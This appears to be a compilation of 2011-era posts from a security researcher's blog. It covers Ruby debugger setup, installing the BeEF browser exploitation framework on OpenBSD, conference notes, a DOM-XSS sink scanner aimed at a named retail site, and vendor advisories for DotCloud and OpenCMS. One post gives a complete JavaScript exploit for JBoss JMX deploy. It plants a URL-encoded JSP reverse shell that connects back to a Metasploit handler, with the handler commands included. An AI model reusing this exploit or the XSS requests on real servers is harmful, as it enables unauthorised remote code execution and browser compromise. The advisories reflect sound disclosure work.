If you are using Ruby 1.9.3p125 and you need to use the debugger, you will notice that stable gems (as today) will not work. You will probably see errors like 'Symbol not found: _ruby_current_thread (LoadError)' and a few others.

I'm currently using IntelliJ IDEA 11.0.2 on Mac OSX to develop every language, from Ruby to Java, including Javascript, Python and others. This small how-to as been written for the Ruby version that comes with MacPorts, but I guess it should apply to other version as well.

wget http://rubyforge.org/frs/download.php/75414/linecache19-0.5.13.gem
sudo gem install linecache19-0.5.13.gem
wget http://rubyforge.org/frs/download.php/75415/ruby-debug-base19-0.11.26.gem
sudo gem install ruby-debug-base19-0.11.26.gem -- --with-ruby-include=/opt/local/include/ruby-1.9.1/ruby-1.9.3-p125
wget http://rubygems.org/downloads/ruby-debug-base19x-0.11.30.pre10.gem
sudo gem install ruby-debug-base19x-0.11.30.pre10.gem -- --with-ruby-include=/opt/local/include/ruby-1.9.1/ruby-1.9.3-p125
wget http://rubygems.org/downloads/ruby-debug-ide-0.4.17.beta8.gem
sudo gem install ruby-debug-ide-0.4.17.beta8.gem
wget http://rubyforge.org/frs/download.php/64707/ruby-debug-ide19-0.4.12.gem
sudo gem install ruby-debug-ide19-0.4.12.gem

Done. When you will place your breakpoint and start the debugger, you will see everything working correctly.



Have fun!

I've always been a user, fan and supporter of OpenBSD.
I think it's a great operating system, especially when you need a rock-solid secure server.
I'm planning to move away from my shared hosting provider and a couple of machines on Linode running Debian, in favor of another VPS provider where I can have my custom OpenBSD 5.0 machines.

You probably know that I'm also one of the core developers of BeEF, so yesterday I said:
"well, lets try to have BeEF on OpenBSD".

Here you go, step by step instructions made for OpenBSD 5.0 i386.
In case you are behing an HTTP proxy, add the following config options to your profile:

$echo "export ftp_proxy=http://proxyip:port/" >> /youruser/.profile
$echo "export http_proxy=http://proxyip:port/" >> /youruser/.profile
$source /youruser/.profile
# if you want to preserve those environment variables when you use sudo, add the following in /etc/sudoers
Defaults env_keep +="http_proxy ftp_proxy"

Ah, I like bash so I'm first installing it (the default shell is ksh):

-bash-4.2$sudo pkg_add -i -v bash
-bash-4.2$sudo pkg_add -i -v gnuls
#chsh -> set shell to /usr/local/bin/bash
-bash-4.2$echo "alias ls='gls -lah --color=always'" >> /youruser/.profile
-bash-4.2$source /youruser/.profile

Then install Ruby (at the time of wrtiting, ruby 1.9.2p290 (2011-07-09 revision 32553) [i386-openbsd]), git and sqlite3.

-bash-4.2$sudo pkg_add ruby-1.9.2.290
-bash-4.2$sudo ln -sf /usr/local/bin/ruby19 /usr/local/bin/ruby
-bash-4.2$sudo ln -sf /usr/local/bin/erb19 /usr/local/bin/erb
-bash-4.2$sudo ln -sf /usr/local/bin/irb19 /usr/local/bin/irb
-bash-4.2$sudo ln -sf /usr/local/bin/rdoc19 /usr/local/bin/rdoc
-bash-4.2$sudo ln -sf /usr/local/bin/ri19 /usr/local/bin/ri
-bash-4.2$sudo ln -sf /usr/local/bin/rake19 /usr/local/bin/rake
-bash-4.2$sudo ln -sf /usr/local/bin/gem19 /usr/local/bin/gem
-bash-4.2$sudo ln -sf /usr/local/bin/testrb19 /usr/local/bin/testrb
-bash-4.2$sudo pkg_add git
-bash-4.2$sudo pkg_add sqlite3

Clone the BeEF GIT repo and install bundler in order to manage gem dependencies.

-bash-4.2$git clone http://github.com/beefproject/beef.git beef
-bash-4.2$sudo gem install bundler
-bash-4.2$sudo ln -sf /usr/local/bin/bundle19 /usr/local/bin/bundle

Install the required gems via bundler:

-bash-4.2$cd beef
-bash-4.2$sudo bundle install
Fetching source index for http://rubygems.org/
Installing addressable (2.2.6)
Installing ansi (1.4.1)
Installing daemons (1.1.5)
Installing data_objects (0.10.7)
Installing dm-core (1.2.0)
Installing dm-do-adapter (1.2.0)
Installing dm-migrations (1.2.0)
Installing do_sqlite3 (0.10.7) with native extensions
Installing dm-sqlite-adapter (1.2.0)
Installing erubis (2.7.0)
Installing eventmachine (0.12.10) with native extensions
Installing json (1.6.4) with native extensions
Installing librex (0.0.52)
Installing msgpack (0.4.6) with native extensions
Installing msfrpc-client (1.0.1)
Installing parseconfig (0.5.2)
Installing rack (1.4.0)
Installing term-ansicolor (1.0.7)
Installing thin (1.3.1) with native extensions
Using bundler (1.0.21)
Your bundle is complete! Use `bundle show [gemname]` to see where a bundled gem is installed.

Finally enjoy BeEF :-)

-bash-4.2$ ruby beef -x
[10:47:40][*] Browser Exploitation Framework (BeEF)
[10:47:40]    |   Version 0.4.3.1-alpha
[10:47:40]    |   Website http://beefproject.com
[10:47:40]    |   Run 'beef -h' for basic help.
[10:47:40]    |_  Run 'git pull' to update to the latest revision.
[10:47:40][*] Resetting the database for BeEF.
[10:47:40][*] BeEF is loading. Wait a few seconds...
[10:47:41][*] 9 extensions loaded:
[10:47:41]    |   XSSRays
[10:47:41]    |   Requester
[10:47:41]    |   Proxy
[10:47:41]    |   Initialization
[10:47:41]    |   Events
[10:47:41]    |   Demos
[10:47:41]    |   Console
[10:47:41]    |   Autoloader
[10:47:41]    |_  Admin UI
[10:47:41][*] 74 modules enabled.
[10:47:41][*] 2 network interfaces were detected.
[10:47:41][+] running on network interface: 127.0.0.1
[10:47:41]    |   Hook URL: http://127.0.0.1:3000/hook.js
[10:47:41]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[10:47:41][+] running on network interface: 192.168.42.130
[10:47:41]    |   Hook URL: http://192.168.42.130:3000/hook.js
[10:47:41]    |_  UI URL:   http://192.168.42.130:3000/ui/panel
[10:47:41][+] HTTP Proxy: http://127.0.0.1:6789
[10:47:41][*] BeEF server started (press control+c to stop)
[10:48:58][*] Hooked browser 192.168.42.1 has been sent instructions from command module 'Create Prompt Dialog'
[10:49:01][*] Hooked browser 192.168.42.1 has executed instructions from command module 'Create Prompt Dialog'

After a couple of months of blog hibernation, I'm here again to write my thoughts.
Last months have been pretty busy on conferences, work and BeEF development.


I was speaking at SecurityByte 2011 (Bangalore, India) having a lot of fun with Nish Bhalla, Ashim (NullCon organizer),
the guys from ClubHack, my colleague Lava @lavakumark, Krzystof @kkotowicz, and the russian friends Alexander @sh2kerr and Dmitriy @evdokimovds. The food was great (chicken curry, very hot and spicy) and the venue was fantastic.

After a couple of weeks I was invited to speak at Hacktivity 2011 (Budapest, Hungary). The fun was assured thanks to my friends Raoul Chiesa, Mate Soos, FluxFelix @flxflx and the crew from CONFidence that come from Warsaw to party with us. My talk has been followed by many many people, in the main room, so I was definitely happy :-)

This year schedule for conferences has been quite tight, with the fourth conference as a speaker in 1 month.
17-18 November DeepSec 2011 will be held in Vienna, Austria. DeepSec is one of the largest security conferences in Europe and it's famous for the usual high quality of the talks. Trainings are usually very good too. Pity that this year Saumil Shah training on Low-level exploitation will not be present (but let hope for next year).


As usual, the cool DeepSec crew write a blog entry for every talk, to give more information to the attendees and explain the cryptic abstracts of the talks in a human-readable way.
As you can read here in the DeepSec blog, I will speak about BeEF (yet another time :)
covering the latest development we're are doing on Chrome Extensions exploitation, Internal Network Fingerprinting and Exploitation, as well as a little preview of LAMBs (yep, as you can see we love animal acronyms :). Let think about them like bots/drones deployed by BeEF in the internal network that will communicate back with the BeEF framework. I know that the info is now pretty abstract, but lets keep the good work for DeepSec :-)

Ground BeEF: Cutting, devouring and digesting the Legs off a Browser from Deepsec Conference on Vimeo.

I'm back from CONFidence 2011 and PH-Neutral: I've enjoyed these hacking and alchool events a lot.
Guys from CONFidence have worked really hard to organize the conference, and everything went in the right way:
we speakers have been picked up in airport/train station by CONFidence crew and enjoyed the free speaker dinners,
free speaker alchool and other things :-)



Here below the slides and the screencast demo of my talk about BeEF: thanks to every attendee (especially Mario @0x6D6172696F Heiderich - again your book is fantastic, thanks from Mr. BeEF :) - and Krzysztof @kkotowicz Kotowicz that were in the first row and suggested new features/improvements).

Jboss 6.0.0M1 JMX Deploy Exploit: the BeEF way... from Michele "antisnatchor" Orru' on Vimeo.

Looking forward for the next CONFidence...

Just finished to port the JBoss JMX Deploy Exploit, originally coded in Ruby by l33tb0y to Javascript.

It's working pretty nice, and bypass authentication via HEAD request.
I've also added it to BeEF, take a look at it here: http://code.google.com/p/beef/source/detail?r=951
Before launching it, both this or the BeEF version, remember to fire your Metasploit multi/handler:

msf > use exploit/multi/handler 
msf exploit(handler) > set payload java/jsp_shell_reverse_tcp 
payload => java/jsp_shell_reverse_tcp
msf exploit(handler) > set lhost 192.168.1.2
lhost => 192.168.1.2
msf exploit(handler) > set lport 6666
lport => 6666
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.2:6666 
[*] Starting the payload handler...

Here is the plain Javascript version, using jQuery to issue XHRs:

<html>
<head>
	<script src="./jquery-1.5.2.min.js" type="text/javascript"> </script>
</head>
<body>
<h1>Jboss 6.0.0M1 JMX Deploy Exploit</h1>
<br>author: Michele "antisnatchor" Orru'
<!--
 * Jboss 6.0.0M1 JMX Upload Exploit
 * Should also work on Jboss 5.1.0 and 4.x versions
 *
 * Ported from l33tb0y Ruby code in Javascript by antisnatchor.
 * HEAD request with malicious JSP -> sleep 10 secs -> GET request to deployed JSP -> reverse connection to listening MSF handler
 *
 * Please note that this is a variation of the JBOSS exploits of Metasploit: instead of deploying a WAR, directly deploy a JSP reverse shell
-->
<div class="output"> </div>
<script type="text/javascript">

function randomString(len, charSet) {
    charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    var randomString = '';
    for (var i = 0; i < len; i++) {
        var randomPoz = Math.floor(Math.random() * charSet.length);
        randomString += charSet.substring(randomPoz,randomPoz+1);
    }
    return randomString;
}

// Metasploit multi/hanlder listener
var rhost = "127.0.0.1"; //target host
var rport = "8080"; //target port
var lhost = "192.168.1.2"; //MSF handler listener host
var lport = "6666"; //MSF handler listener port
var command = "cmd.exe"; // command to be executed by Runtime.getRuntime().exec()

//Runtime.getRuntime().exec() --> with cmd.exe
var payload = "%3C%25@page%20import=%22java.lang.*%22%25%3E%20%3C%25@page%20import=%22java.util.*%22%25%3E%20%3C%25@page%20import=%22java.io.*%22%25%3E%20%3C%25@page%20import=%22java.net.*%22%25%3E%20%3C%25%20class%20StreamConnector%20extends%20Thread%20%7B%20InputStream%20is;%20OutputStream%20os;%20StreamConnector(%20InputStream%20is,%20OutputStream%20os%20)%20%7B%20this.is%20=%20is;%20this.os%20=%20os;%20%7D%20public%20void%20run()%20%7B%20BufferedReader%20in%20%20=%20null;%20BufferedWriter%20out%20=%20null;%20try%20%7B%20in%20%20=%20new%20BufferedReader(%20new%20InputStreamReader(%20this.is%20)%20);%20out%20=%20new%20BufferedWriter(%20new%20OutputStreamWriter(%20this.os%20)%20);%20char%20buffer[]%20=%20new%20char[8192];%20int%20length;%20while(%20(%20length%20=%20in.read(%20buffer,%200,%20buffer.length%20)%20)%20%3E%200%20)%20%7B%20out.write(%20buffer,%200,%20length%20);%20out.flush();%20%7D%20%7D%20catch(%20Exception%20e%20)%7B%7D%20try%20%7B%20if(%20in%20!=%20null%20)%20in.close();%20if(%20out%20!=%20null%20)%20out.close();%20%7D%20catch(%20Exception%20e%20)%7B%7D%20%7D%20%7D%20try%20%7B%20Socket%20socket%20=%20new%20Socket(%20%22" + lhost + "%22,%20" + lport + "%20);%20Process%20process%20=%20Runtime.getRuntime().exec(%20%22" + command + "%22%20);%20(%20new%20StreamConnector(%20process.getInputStream(),%20socket.getOutputStream()%20)%20).start();%20(%20new%20StreamConnector(%20socket.getInputStream(),%20process.getOutputStream()%20)%20).start();%20%7D%20catch(%20Exception%20e%20)%20%7B%7D%20%25%3E";
var randomJspName = randomString(10);
var uri = "/jmx-console/HtmlAdaptor;index.jsp?" + "action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=%2Fconsole-mgr.sar/web-console.war%2F&arg1=" + randomJspName + "&arg2=.jsp&arg3=" + payload + "&arg4=True";

    $('.output').html("<br>[+] Sending HEAD request sent to Jboss<br>");
	$.ajax({
      type: 'HEAD',
	  url: 'http://' + rhost + ':' + rport + uri,
	  dataType: 'script',
	  success: function(data, textStatus, xhr){
			$('.output').append("<br>[+] Now Sleeping for 10 secs before activating the reverse payload <br>");
			
			function triggerReverseConn(){
				$('.output').append("<br>[+] Sending GET request to [http://" + rhost + ":" + rport + "/web-console/" + randomJspName + ".jsp" + " <br>");
				$.ajax({
				  type: 'GET',
				  url: 'http://' + rhost + ':' + rport +"/web-console/" + randomJspName + ".jsp",
				  dataType: 'script',
				  success: function(data, textStatus, xhr){
					$('.output').append("<br>[+] OK: Reverse JSP shell should have been triggered. Check your MSF handler listener. <br>");  
				  },
				  error: function(jqXHR, textStatus, errorThrown){
					$('.output').append("<br>[+] ERROR: second GET request failed. <br>");  
				  }
				}); 	
			}
			//sleep 10 secs
			setTimeout(triggerReverseConn,10000);
	  },
	  error: function(jqXHR, textStatus, errorThrown){
	  	$('.output').append("<br>[+] ERROR: first HEAD request failed.");  
	  }
	});	
</script>
</body>
</html>

While waiting for Stefano di Paola release of DOMinator, I've spent a little amount of time writing a Ruby script that uses Stefano regular expressions and list the potentially DOM-based XSS vulnerable piece of code.

The output needs manual verification, but at least it's something.

Thanks .mario and Stefano for your research on the topic. And thanks Michal for the "bugfix" regarding regex :-)

# Given a set of JS/HTML/whatever files it search for potential DOM-based XSS
# injection points based on regular expressions from https://code.google.com/p/domxsswiki/wiki/FindingDOMXSS
#
# author: Michele "antisnatchor" Orru' (regex credit goes to Mario ".mario" Heiderich)
# v. 0.1

require "net/http"
require "net/https"
require "uri"
require "erb"
require "singleton"
require "rubygems"

MAIN_URL = 'http://compraonline.mediaworld.it'
MAIN_DOMAIN = 'compraonline.mediaworld.it'
PORT = 80
HTTP_PROXY_HOST = '172.31.229.10'
HTTP_PROXY_PORT = 8888

PATHS_TO_TEST = ['/resources/script/new_hp.js',
				 '/resources/script/commonTop.js',
				 '/resources/script/scripter.js'
				]

puts "[+] starting requests to #{MAIN_URL}"
   Net::HTTP::Proxy(HTTP_PROXY_HOST, HTTP_PROXY_PORT).start(MAIN_DOMAIN) {|http|
    PATHS_TO_TEST.each{|path|
      url = URI.parse(MAIN_URL + ':' + PORT.to_s + path)
      req = Net::HTTP::Get.new(url.path)
         http.request(req) do |res|
         line = 1
         response = res.body.to_s.split("\n")
           response.each{|i|
             # apply DOM-based xss regex to each HTTP response line, printing out lineNumber and lineContent
             # that would potentially be vulnerable to DOM-based XSS (NEED MANUAL VERIFICATION!)
             if(i.scan(/((src|href|data|location|code|value|action)\s*["'\]]*\s*\+?\s*=)|((replace|assign|navigate|getResponseHeader|open(Dialog)?|showModalDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\s*["'\]]*\s*\()/).size > 0 ||
                i.scan(/(location\s*[\[.])|([.\[]\s*["']?\s*(arguments|dialogArguments|innerHTML|write(ln)?|open(Dialog)?|showModalDialog|cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|content|self|frames)\W)|(localStorage|sessionStorage|Database)/).size > 0)
              puts "[#{path}]-#{line}: #{i}"
             end
             line += 1
           }
         end
    }
   }

A sample of the output is the following:

[/resources/script/commonTop.js]-104:           top.location.href = apUrl;
[/resources/script/commonTop.js]-108:           top.location.href = url;
[/resources/script/commonTop.js]-113:   document.location.href = "http://" + server + "/webapp/wcs/stores/servlet/ListOrdersView?" +apDefUrl;
[/resources/script/commonTop.js]-117:   top.location.href = "http://" + server + "/webapp/wcs/stores/servlet/BrandsView?" + apDefUrl;
[/resources/script/commonTop.js]-124:           document.cookie = name + "=" + "; expires=Thu, 01-Jan-70 00:00:01 GMT";
[/resources/script/commonTop.js]-125:           top.location.href = "http://" + serverMobi;
[/resources/script/commonTop.js]-127:           top.location.href = "http://" + server + "/webapp/wcs/stores/servlet/PartnerVisit?onlyInsert
=Y&partnerId=7990000000000006500&storeId=20000&bannerId=home_mwcol&url=compraonline.mediaworld.it/html/LINKPROMO.html?content=/offerte/mobi/sez1.html";
[/resources/script/commonTop.js]-132:   document.location.href = "http://" + server + "/webapp/wcs/stores/servlet/ContactUsView?storeId=20000";
[/resources/script/commonTop.js]-136:   formObj.searchString.value = formObj.searchString.value.replace(/%/g,"");
[/resources/script/commonTop.js]-138:   if( formObj.searchString.value.replace(/^\s+|\s+$/g,"").length < 2 )
[/resources/script/commonTop.js]-149:           formObj.categoryId.value = document.getElementById('catGroupId').options[document.getElement
ById('catGroupId').selectedIndex].value;
[/resources/script/commonTop.js]-156:   window.open("http://" + server +"/webapp/wcs/stores/servlet/NewsletterView?" + apDefUrl,"newsletter"
,"width=440,height=354,scrollbars=no,resizable=no");
[/resources/script/scripter.js]-75:                     this.layer.document.writeln(body[i]);
[/resources/script/scripter.js]-82:     this.element.innerHTML = body;
[/resources/script/scripter.js]-88:     this.element.innerHTML = body;

Just want to inform you that my abstract has been accepted for Confidence 2011.

I will speak about the new BeEF development.

More details can be found here.

Looking forward to see you all there, to enjoy talks and vodka ;)

Cheers

DotCloud Beta Multiple Vulnerabilities

Name: DotCloud Beta Multiple Vulnerabilities
Systems Affected: DotCloud current beta
Severity: Medium
Vendor: http://www.dotcloud.com
Advisory: http://antisnatchor.com/dotcloud_beta_multiple_vulnerabilities
Author: Michele "antisnatchor" Orru (michele.orru AT antisnatchor DOT com)
Date: 20110328

I. BACKGROUND
DotCloud is a new managed IaaS aimed to create "mashups" of applications
ready-to-be-deployed.

II. DESCRIPTION
Multiple vulnerabilities have been identified in the web application
used to access the user API/SSH keys.

III. ANALYSIS
a. Open Redirection
The "next" parameter of the following URLs is vulnerable to Open Redirection:
http://www.dotcloud.com/account/create
http://www.dotcloud.com/account/login

To exploit Open Redirection on the first URL is enough to put a not already registered email address
in the "email" parameter:

GET http://www.dotcloud.com/account/create?email=antisnatchor%40gmaill.com&p... HTTP/1.1

The second one is present during the login action, so it's pre-authenticated and
this fact increases the security risk:

POST /account/login HTTP/1.1
Host: www.dotcloud.com
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 87

email=antisnatchor%40gmail.com&password=antisnatchor123&next=http%3a//www.google.com

Open Redirection can be used for phishing purposes or
to execute malicious code on the victim behalf: it would be easy
for an attacker to exploit them to hook the victim browser to BeEF
and then redirect back the victim on the login page, while
logging their keystrokes with Javascript for example.

b. Credentials are sent in cleartext
No SSL certificates are used at all to protect sensitive informations
from eavesdropping attacks like MITM.

c. Sensitive form with autocomplete enabled
As can be seen in the login page:

Email Address

Password

the password form field don't have the autocomplete=off attribute in place.
This could lead an attacker to steal the credentials stored in the browsers
if having XSS in the next releases of the DotCloud webapp, or in this case
after exploiting the Open Redirection vulnerability.

d. Cookie without HttpOnly flag
Even if there are ways to bypass this security measure,
the HttpOnly flag should always be added to prevent
accessing the cookies from Javascript.

e. No anti-XSRF tokens on sensitive forms submissions
No unique tokens are added to sensitive forms to prevent
replay attacks like Cross Site Request Forgery.
At least the forms to change the API key and
the form to upload an SSH key should be protected
in this way, to prevent that in case of any XSS
that would be present in the next releases of the DotCloud webapp
things would't get worse.

IV. DETECTION

DotCloud current beta is vulnerable.

V. WORKAROUND

Redirects should not be controlled by users: build a server-side white list of known-good
URLs where the redirect should point to, for example.

VI. VENDOR RESPONSE

Fixed from 14 March 2011.

VII. CVE INFORMATION

No CVE at this time.

VII. DISCLOSURE TIMELINE

20110307 Initial vendor contact
20110310 Initial vendor response
20110314 Vendor fixes issues
20110328 Public disclosure

VIII. CREDIT

Michele "antisnatchor" Orru'

IX. LEGAL NOTICES

Copyright (c) 2011 Michele "antisnatchor" Orru'

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

OpenCMS <= 7.5.3 multiple vulnerabilities
UPDATE: the guys from OpenCms where smart enough to quote me (Michele Orru) on the release notes (http://www.opencms.org/en/news/110328-opencms-v754-releasenotes.html)

Name: OpenCMS <= 7.5.3 multiple vulnerabilities
Systems Affected: OpenCMS <= 7.5.3
Severity: High
Vendor: http://www.opencms.org
Advisory: http://antisnatchor.com/opencms_7.5.3_multiple_vulnerabilities
Author: Michele "antisnatchor" Orru (michele.orru AT antisnatchor DOT com)
Date: 20110328

I. BACKGROUND
OpenCMS from Alkacon Software is a professional, easy to use website
content management system. OpenCms helps content managers worldwide
to create and maintain beautiful websites fast and efficiently.

II. DESCRIPTION
Multiple vulnerabilities exist in OpenCMS <= 7.5.3 (latest stable version
at the time of writing) that could lead to victim browser pwnage, sensitive
information stealing and cookie stealing.

III. ANALYSIS

a.) Reflected XSS
Some authenticated resources are vulnerable to Reflected XSS.

The URI /opencms/opencms/system/workplace/commons/report-locks.jsp
is vulnerable to Reflected XSS in the following parameters:
includerelated, resourcelist.

A request like the following will display an alert with the number 666:

GET
/opencms/opencms/system/workplace/commons/report-locks.jsp?resourcelist=null&resource=/demo_de&includerelated=false">XSSvector
HTTP/1.1
Host: localhost:8080
[...]

The URI /opencms/opencms/system/workplace/views/explorer/contextmenu.jsp
is vulnerable too,
but we should know a valid resource name to exploit it: this is not too
difficult,
because knowing the path of an image it would be enough.

A request like the following will display an alert with the number 666:

GET
/opencms/opencms/system/workplace/views/explorer/contextmenu.jsp?resourcelist=/deco_logo.png&acttarget=514f2">XSSvector
HTTP/1.1
Host: localhost:8080

b.) Cookies issued without HttpOnly flag
This issue is even more dangerous because the application don't
issue cookies with the HttpOnly flag set: even if there are ways
to bypass this security measure, it should always be added to prevent
accessing the cookies from JS.

c.) Various password field with autocomplete enabled
Last but not least, the main login form (URI /opencms/opencms/system/login/)
and the change password form (URI
/opencms/opencms/system/workplace/commons/preferences.jsp)
have autocomplete enabled: thanks to the presence of XSS, an attacker can
easily
steal the input form values if they have been saved by the victim using
the browser "remember password" mechanisms.

IV. DETECTION

7.5.3 and earlier versions are vulnerable.

V. WORKAROUND

Always escape/sanitize the input that comes from the user, because it can
be malicious. A good way would be to integrate OWASP ESAPI in OpenCMS, in
order
to use all the pre-built functions that mitigate XSS, SQLi, XSRF, and so on.

VI. VENDOR RESPONSE

OpenCms 7.5.4 fixes the issues.

VII. CVE INFORMATION

No CVE at this time.

VIII. DISCLOSURE TIMELINE

20110216 Initial vendor contact
20110216 Initial vendor response
20110328 Version 7.5.4 fixes the issues
20110328 Public disclosure

IX. CREDIT

Michele "antisnatchor" Orru'

X. LEGAL NOTICES

Copyright (c) 2011 Michele "antisnatchor" Orru'

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.